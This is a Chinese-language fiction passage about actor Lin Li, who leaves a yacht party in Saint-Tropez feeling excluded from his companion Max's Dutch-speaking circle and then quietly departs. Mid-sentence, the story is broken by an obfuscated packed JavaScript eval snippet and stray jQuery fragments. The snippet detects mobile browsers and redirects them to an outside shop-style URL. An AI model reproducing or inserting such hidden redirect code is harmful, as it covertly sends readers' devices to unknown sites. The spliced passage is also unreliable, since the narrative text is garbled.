2019年的夏休期，麦克斯邀请林利一起前往法国圣特佩罗。
别墅是麦克斯提前半年就定下的，典型的南法风格，推开窗就是一片醉心的蔚蓝。
下午三点，下午的阳光被细碎的波浪折射进别墅，将室内昂贵的浅色地毯照得微微发白。
林利陷在窗边的胡桃木扶手椅里，膝盖上摊着几页剧本，他还没想好要去争取哪一部电影。阳光懒洋洋地洒在字迹上，晃得他眼晕。林利指尖在纸页边缘摩挲，打了个哈欠，在无所事事的宁静中闭上眼。
麦克斯从露台推门进来，没穿鞋，地板上留下一串潮湿水痕。他刚从泳池爬出来，支棱着的湿发还在往下滴水，整个人一派
松弛。麦克斯随手从冰箱里拿出两罐苏打水，单手扣开拉环，“哧”的一声，气泡炸开的声音显得格外清凉。
他把冰凉的另一罐直接贴在林利脸颊上，顺势靠在椅背。
“别看剧本了，林。”麦克斯仰头灌了一口苏打水，“斯坦刚才发过来消息，他们在沙滩那边烧烤，晚点上游艇。你也来吧？”
林利被寒气激得缩了缩脖子，下意识答道：“我不认识他们。”
“去了不就认识了？”麦克斯理所当然地挑了下眉。他伸出手，指腹在林利颈侧的皮肤上蹭了蹭，这种动作他最近做得越来越顺手。“去吧，我们一直在这待着也挺无聊的。斯坦他们准备了不少东西，还有那种大功率的水上摩托。”
“我觉得在这里就挺好的。”林利低声重复了一句。他其实给不出什么深刻的理由，只是下意识不想走出去。
“你该去晒晒太阳的，林。”麦克斯夺走他膝盖上的剧本，想要将林利拉起身。
“我不擅长这种场合，麦克斯。”林利试图把剧本拿回来。
麦克斯按住他的手，俯下身，下巴几乎蹭到林利的耳廓。他的呼吸带着淡淡的潮湿：“只是喝杯酒，吃点东西。而且你要是待着不舒服，我们就回来。”
林利看着他，麦克斯的眼神亮亮的，满怀希冀。面对这样的麦克斯，林利发现自己很难说出拒绝。
……
游艇在海面上轻微晃动。
刚上船的时候，气氛比林利预想得要轻松得多。海风卷走了一下午的燥热，甲板上铺着厚实的软垫，伴随着轻快的音乐。麦克斯表现得极有耐心，始终让林利待在视线可及的范围内。
“拿好这个。”麦克斯塞过来一个白瓷圆盘，上面码着几块圆滚滚的奶油肉丸，淋着深色的酱汁。“我小时候最喜欢吃的。荷兰菜，别的地方可吃不到。”
“谢了。”林利接过盘子，环顾四周。甲板上大约有七八个人，大多数和麦克斯年纪相仿。一个晒得黝黑的男人大步走过来，那是麦克斯的发小斯坦。
“嘿，麦克斯！再来一杯？”斯坦笑着撞了过来，手里拎着一瓶刚开塞的金汤力，酒液随着游艇的晃动在瓶口溢了几下。
麦克斯笑着挡了一下：“慢点，斯坦。我还没想好一会要不要骑一圈，别现在就把我灌醉了。”
“少来这套，喝醉了你都能开。”斯坦撇撇嘴，眼神一转，落到了旁边的林利身上，“哇哦，你好！你就是麦克斯之前提到的——”
麦克斯侧过头，自然地收紧了搭在林利肩膀上的手：“林利，我的朋友。”他笑着介绍，随意地打趣，“他可是演电影的，斯坦。你要是想找人要签名，现在可以开始排队了。”
“电影？好莱坞？”斯坦夸张地扬起眉毛，又重新打量了一遍林利，“难怪，麦克斯可从来没带过长得这么体面的朋友来。”他摸摸鼻子，“我是说，我还挺好奇你们怎么认识的，对吧？”
“就是一次偶然。”林利礼貌地微笑回应。
“哈！偶然真好，敬偶然。”斯坦哈哈大笑，举起酒瓶碰了过来，转头看向另一边大喊，“瑞斯，别捣鼓那个发动机了！快过来见见大明星。”
随着更多人的加入，气氛越来越热闹。麦克斯被拉进了关于上一场大奖赛的技术讨论中，但他依然没松开揽着林利肩膀的手。
音乐突然切换到一首节拍强劲的舞曲，震得甲板微微发颤。
“我爱死这首歌了。”斯坦大喊着，在原地扭动起来，“麦克斯，来啊！”
麦克斯笑着摇摇头，最终抵不过四五个人连拉带拽的力量，被推到甲板中央。他跳得别扭极了，动作大而生硬，笨拙地转了两圈。
麦克斯在人群里乱跳了一阵，突然停下脚步，隔着几道人影锁定住林利。他像恶作剧得逞一样憋着笑，直直走过来，不由分说地扣住林利的手腕。
“我不会跳。”林利笑着往后躲，慌忙中放下酒杯。
“谁在乎？我也不会。”麦克斯稍微用力，将他整个人拽进舞动的人堆。
林利的矜持被搅得一点不剩。他被麦克斯带着乱转，两人完全不在一个节拍上。“你踩到我了，麦克斯！”林利费力地喊道，眼角笑出了几滴眼泪。
麦克斯更加大声地哈哈大笑，鼻尖冒出一层细汗。他干脆搂住林利肩膀，带着他左右摇晃，像一条在陆地翻滚的鱼。
没有剧本，没有镜头。在圣特佩罗的微风和酒精作用下，林利觉得自己也变得轻飘飘的，总是紧绷着的思绪终于飞了出去，散落在波光粼粼的海面上。
随着暮色渐浓，酒精彻底接管了甲板。
麦克斯跳累了，喘着气满头大汗地坐回林利身边。其他几个从小和麦克斯一起玩的朋友也围了过来。
话题逐渐逐渐让林利听着越来越费劲。
起初他们还在用英语调侃。但很快，几个小时候的笑话被抛出，酒精让舌头自动切回到最亲近的母语。
“Max, weet je nog die keer in Genk?”
第一个荷兰语音节蹦出来时，林利眼前的世界像是被按下了静音键。
麦克斯的肩膀依然贴着他，热热的温度隔着布料源源不断地传递过来。林利侧过头看去，麦克斯正用一种充满喉音、节奏感极强的语言大笑着。因为笑得太厉害，大半个身的重量都压了过来，手掌随意地撑在林利的腿面上。
亲密无间的氛围轻轻淡去。
瑞斯注意到了林利的沉默，用英语小声解释道：“他在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159555|196580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说他小时候和斯坦在卡丁车场捣乱的事。斯坦当时气得想把车拆了。”
林利怔忡着回过神，才反应过来瑞斯的好意。他牵动了一下嘴角：“听起来很有意思。”
可他的目光又不由自主回到麦克斯身上。麦克斯正手舞足蹈地比画某个进弯的动作，引得周围一片哄笑。林利像在看一场没有字幕的外语电影，他能看到麦克斯脸颊上兴奋的红晕，能听见麦克斯有些急促的发音，却唯独读不懂这个人。
一种巨大的茫然感像潮水一样没过胸前，带来缺氧般的无能为力。
麦克斯的朋友，麦克斯的过去，麦克斯的家庭——一切的一切都在无声提醒他，他只是麦克斯生活里的偶然过客，就像他们相遇一样。今晚他踏足这个不属于自己的圈子太深了，试图融入的努力让他感到窒息。
“麦克斯。”他轻声喊。
麦克斯正说得起劲，没有留意。
林利加重了力道，拽了拽麦克斯汗湿的胳膊。
麦克斯猛地回头，那双还没散去笑意的冰蓝色眼睛对上了林利的视线。
“怎么了？”麦克斯切换回英语，眼神带着一丝迷茫。
“我想回去了。”林利说。
麦克斯愣了一下，盯着林利看了看，察觉到他眼底饰不住的疲色。他没有再多问，起身对朋友们利落地打了个招呼，带着林利下了船。
回去的路上，夜色很静，只有轮胎碾过地面的声音。
麦克斯敲着方向盘，神情依然兴奋：“斯坦说你人不错，我看你们刚才处得挺好的。他们约了明天再去水上玩摩托，就是之前说的那种大功率的。我还没试过这边的海岸线……”
麦克斯规划着明天，理所当然的让林利本能地抗拒。
“麦克斯，我明天得走。”林利突然开口。
车头划过一个不太平稳的弧度。麦克斯偏过头皱起眉毛：“什么？我们不是说好要再待一阵子吗？”
“洛杉矶那边有个临时的试镜机会，挺急的。”林利面不改色地编造着那个并不存在的剧本，声音冷静，“经纪人发的邮件，我得飞过去。”
麦克斯握着方向盘的手指节泛白，“这么突然？”
“我也是刚看到。”
麦克斯沉默了，眼底原本跳动着的光黯淡下来，“我是说……去多久呢？你还回来吗？”
林利看向窗外飞速后退的灯影，避开了那双太直白的眼睛，“可能没时间了，得开始为角色准备……你知道的。”
车内的空气彻底凝固。
回到别墅，麦克斯什么也没说，径直走进了浴室。哗啦啦的水声在空旷的房间里回荡。
林利翻找出行李箱，一件件把行李收拾得整整齐齐。他在机械的重复动作中，找到了一丝属于自己的安稳。
这没什么，他对自己说。他只是需要降降温，需要退后一步，退回到安全的避风港。
凌晨五点，他在桌上留下一张便笺：
【先走了，假期愉快。】
林利拉着行李箱走出大门，清晨圣特佩罗的风带有些许咸涩的凉意，吹乱了他的黑发。